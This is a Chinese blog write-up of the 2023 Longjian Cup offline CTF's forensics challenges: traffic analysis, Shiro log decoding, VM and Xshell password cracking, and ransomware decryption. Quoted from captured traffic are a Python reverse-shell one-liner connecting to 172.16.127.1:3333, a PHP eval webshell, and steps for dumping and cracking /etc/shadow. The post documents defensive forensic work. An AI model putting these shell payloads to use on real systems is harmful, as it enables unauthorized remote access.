2023 陇剑杯线下赛

和同事组队“金盾检测”参加了第二届陇剑杯线下的半决赛和决赛。虽然结果是非常滴遗憾,最终差 2 名无缘优秀奖。但秉持着善始善终的理念,还是记录一下线下赛中我负责的数据分析这块的题目叭。

半决赛

soeasy

抓的是一个 FTP 传文件的流量。

登陆的密码是多少?,提交md5小写

直接追踪一手 TCP 流,第二流就是登录的内容,密码就是 test

image-20230921144341312

被加密的字符串是多少?

第 7 流给出了 RSA 的私钥文件(保存为 rsa_d.txt)

image-20230921144414227

第 11 流给出了加密代码

image-20230921144438661

第 13 流给出了加密数据(原始数据视图),

image-20230921145328994

编写解密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

data = bytes.fromhex('4ed9959849916f5a53206967cde72416f3ecad8767fe37f8847320cf0d2e6b3bc615d91b64650a49b9be86eb33f105ff2aa46db7350966e7733c7b24aa9f96b882aaa4de57d7fc688a2900849417594beebd8f9d25a617bc77b922bed5744699241d178e0b5e61754b49800267cf1332f19e65d9db1cfd1522be65b42065f7bcf95cef926000571bb06a304ef383e18a7728ff1ec68277bfbd451f6e7c988f67dd2a4a26787f7b471f663b2cdccf762e300a54ce14920b3fbc3bffed3ab1bbedd9ae00ebdc9a0dc339bd2e16d82c3657325ef854cc39e2a5db0f3a1731818ee5f4318afc504852e0e0d756bfc378f02246f60aa49f4e55809686542130b61662')

def encrypt_message(message, public_key_path):
with open(public_key_path, 'rb') as f:
public_key = RSA.import_key(f.read())
cipher = PKCS1_OAEP.new(public_key)
encrypted_message = cipher.encrypt(message.encode())
return encrypted_message

def decrypt_message(message, public_key_path):
with open(public_key_path, 'rb') as f:
public_key = RSA.import_key(f.read())
cipher = PKCS1_OAEP.new(public_key)
encrypted_message = cipher.decrypt(message)
return encrypted_message

print(decrypt_message(data,"rsa_d.txt"))

得到 b'8dhn3edfna93rAPN'

图片中隐藏的数字是多少?

第 5 流有一个压缩包,保存下来

image-20230921145508046

里头有一个 11.bmp

image-20230921145616218

把高度给高

image-20230921145709715

得到

image-20230921145730735

淦,哪里是头啊,比赛试了2301040,试了3010402,,5次机会用完了也不对。赛后问了贝塔,才知道不是改高度,是改位深,把16改成24!

image-20230921145908576

得到

image-20230921145922186

1 和 2 叠起来了以为是 4,测!

session

抓的是一个通过注入获得管理员账号密码,后台 getshell 的一个流量记录。

通过注入得到的username是?

过滤查看 http 协议 ,发现后面是大块差不多的 http 请求,推测应该是盲注,我们直接看登录成功部分找结果

image-20230921152103721

提交 adminadmin1I1,好,是错的,实际上注入出来的是 adminadmin111,虽然前面注入部分看不出注入者是如何判断的,但是注入者在得到正确字符后就会爆破下一个字符,因此我们可以根据 index 的变化来判定(变化的前一个字符是正确)。

除了 root 用户,还有哪个用户含有root权限?

在第2043流找到,test 的用户标识号是 0,所以它有 root 权限。

image-20230921152854721

通过 debug 读取的哪个文件没有找到(绝对路径)

在第 2040 流找到: /etc/1

image-20230921152815569

通过什么命令反弹的shell,提交md5小写

在第2046流里看到

image-20230921153329499.png

因此就是 import os,pty,socket;s=socket.socket();s.connect(("172.16.127.1",3333));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh") 的md5值

easy_shiro

给了一个日志文件,主要看到最后三条

image-20230921153758892.png

请给出该应用 shiro key

拿到这题一脸懵逼,好在队友本地有工具:BlueTeamToolsV0.58

拿这上述框框里第一条数据的 rememberMe 的内容贴进去

image-20230921154306308.png

因此 shiro key 就是 4AvVhmFLUs0KTA3Kprsdag==

溯源攻击者的操作,其中有flag

拿这上述框框里第二条数据的后半部分内容

image-20230921154953475.png

是一个 java class 文件,保存一下用jd gui 看看(直接用 cyberchef 保存好像会报错,这里我用 python 解码再保存的)

image-20230921155716834.png

image-20230921155811135.png

有一个密钥 eac9fa38330a7535,还提到了 AES,就用 AES 解密一下log 文件里最后一行的数据

image-20230921160101879.png

有一个flag,提交,错误!提交给第三题,正确!(难崩)

那么第二问的东西应该是在第一条log或者第二条log搞出来的序列化传儿里。这个一直到比赛结束也没搞出来,赛后复现的时候问了贝塔

要用到工具:SerializationDumper-Shiro.jar

java -jar SerializationDumper-Shiro.jar -s "第一条log的rememberMe"

image-20230926140242722.png

然后反编译 bytecodes.class

image-20230926140422348.png

根据代码,将 var21 的数组内容异或 21 再拼接

1
2
var21 = [118, 120, 113, 59, 112, 109, 112, 53, 58, 86, 53, 55, 112, 118, 125, 122, 53, 115, 121, 116, 114, 110, 35, 113, 115, 113, 118, 38, 45, 33, 113, 35, 37, 39, 32, 119, 39, 116, 119, 44, 119, 34, 36, 112, 118, 36, 32, 44, 34, 36, 116, 116, 36, 36, 104, 55]
print("".join(chr(i^21) for i in var21))

得到 cmd.exe /C "echo flag{6dfdc384d6025b2ab9b71ec15971aa11}"

攻击者植入了内存webshell,使用这个webshell做了什么,其中有flag

在解第二问的时候解出来了。

决赛

win

小明在一台电脑中获取了一个虚拟机文件以及桌面上存有rockyou.txt,打开虚拟机的密码是多少?

好,直接坐牢,没有爆破工具,一整套题都没法做,好在主办方在中午的时候给了一个只有 500 个密码的字典,最后我手撸出来了密码 somewhere,这里用工具复现一下,需要解密的文件是 Windows 7 x64.vmx

image-20230921171634113.png

需要的工具是 pyvmx-cracker,但是直接用会报错,因为

image-20230921172338035.png

它检查的是第三行,emmm,给他改成 3。后面读字典还会报错 UnicodeDecodeError: 'gbk' codec can't decode byte 0x85 in position 5716: illegal multibyte sequence,emmm,再改下

image-20230921172846908.png

运行好一会得到:

image-20230921174039066.png

xshell 链接的密码是多少?

淦,xshell 存的密码是加密的,还是要工具,赛后找到了,需要一手 [XshellCrack](Release XshellCrack 1.0 · Q16G/XshellCrack · GitHub),把这个工具放进 win7 里头(因为加密使用的参数和系统有关,所以不能把文件拖出来解密。我尝试把本机的配置文件放进去解密是失败的),直接运行就好。(没法拖,还不能安装 vmtools,想到的解决方式是用 U 盘传)

image-20230922113439246.png

得到密码 123456a

登录脚本启动的程序路径是什么?

进入虚拟机后,看到这个终端上面文件的路径,就是了:c:\2333.bat

image-20230922113031503.png

总过访问了几次 www.baidu.com?

打开火狐,看到历史记录,点进管理历史,视图,显示列,点上访问次数,就可以看见总共访问了 www.baidu.com 10 次。

image-20230922113232947.png

mid

从哪个文件获取到的后台用户名密码?

进来过滤 http 请求,好像是在目录扫描,往后拉到登录成功的部分,然后开始往上找,找到

image-20230921162213906

解密得到 :Username:adminadmin Password:123456aA,因此获取到登录用户名密码的文件就是 robots.txt 了。

admin的密码通过哪个函数进行加密存储,答案实例 exec()

看到第 18633 条,也就是 4.txt 的内容

image-20230921163528594

因此加密函数为 password_hash

写入的第一次的shell的连接密码是多少?

在第18086数据中看到

image-20230921171230878.png

解码后是 <?php eval($_POST[1]); ?>,因此答案就是 1

用户 hack 的密码是多少?

在 18647 数据看到,

image-20230921163649553

是一个base64编码的命令执行,解码看一下

image-20230921163859388.png

粗略看一下是一堆混淆加执行了个什么命令应该,注意到这个对结果是进行了一个 rot13 的操作。

查看下面的返回

image-20230921164120977.png

应该是执行了一个 whoami叭,继续往后面的返回,在第18730的数据看到应该是 /etc/shadow 的返回

image-20230921164407672.png

image-20230921164434297.png

拿去用john爆破一下

image-20230921165917222.png

到手:qwerty

ransom

攻击者通过后门在受害机器上安装了勒索病毒,给出勒索病毒文件的sha256(大写)(注:该文件建议在虚拟机中打开)

直接导出 http 对象,看到一个 test.exe,dump下来然后 sha256 一下就好了

image-20230921174222334

勒索病毒对本地文件继续了加密,给出加密文件的数量

在 tcp 第 358 流找到(这一整块的流量没有 http 的请求,很奇怪,所以当时一直没找到,还是队友找到的)

image-20230921181234680.png

image-20230921180530430

解码得到的是加密文件的列表

image-20230921180605609

最后一行是空的,因此一共 133 个文件被加密。

恢复被加密的 secret.txt 的内容

这个算是整场比赛最有成就感的一题了,全场只有 3 解。

刚好有一个逆向队友,通过分析 test.exe,勒索病毒的操作有:创建E://tmp.txt为key;遍历C:/Users/test/Documents下文件(会加密这个文件夹下的文件)

ce2f9b39a0c39b5a89bbe50cc985a6a.png

我们可以在第 23668 的数据包,发现其查看了 tmp.txt 的内容

image-20230922111221383.png

dHlwZSBlOlxcdG1wLnR4dA== base64解码就是 type e:\\tmp.txt

下一条数据就是对应的返回,为 464ROI2+9sM+kxbMBiaBog==,base64解码再转十六进制就是 e3ae11388dbef6c33e9316cc062681a2

然后在第 23820 的数据中,其查看了 secret.txt.enc 的内容

image-20230922111519774.png

下一条数据就是对应的返回,为 P4m0zim6ISDKTc8yamhuNMqrgoCR3kB9cVFvhRvMFt0rVIS4zboCsF/Q/PLV0dH0,base64解码再转十六进制就是 3f89b4ce29ba2120ca4dcf326a686e34caab828091de407d71516f851bcc16dd2b5484b8cdba02b05fd0fcf2d5d1d1f4

有了密文和密钥,根据密钥长度是 16 字节,猜测是 aes 加密,先直接使用 ecb 模式

image-20230922111905042.png

解密发现有点样子,但又不太对。试一试 cbc 模式,iv 先置零。

image-20230922111958984.png

虽然结果还是有点问题,但是看到最后的填充 \x06 ,可以确定就是 cbc 模式了。但是显然在使用 AES 加密前,程序还对文件进行过处理,于是让队友找了一下,发现加密前会将文件内容异或文件名。(队友在 Documents 目录下创建了一个 aaa.txt 的文件)

fba338d83adf8aef4d7f0f18b57f75d.png

image-20230922112209807.png

非常有样子了!只差一个 iv,后面队友也找到了

5ef71486d579d713e072c3a1dbae734.png

1
2
3
4
5
6
7
8
9
from Crypto.Util.number import *
from Crypto.Cipher import AES

key = bytes.fromhex('e3ae11388dbef6c33e9316cc062681a2')
c = bytes.fromhex('3f89b4ce29ba2120ca4dcf326a686e34caab828091de407d71516f851bcc16dd2b5484b8cdba02b05fd0fcf2d5d1d1f4')
enc = AES.new(key=key,mode = AES.MODE_CBC,iv = b'1234567890abcdef')

from pwn import xor
print(xor(enc.decrypt(c)[:-6],b"secret.txt"))

bingo


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com

文章标题:2023 陇剑杯线下赛

文章字数:2.3k

本文作者:Van1sh

发布时间:2023-09-26, 14:42:00

最后更新:2023-10-24, 10:38:51

原始链接:http://jayxv.github.io/2023/09/26/2023 陇剑杯线下赛/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏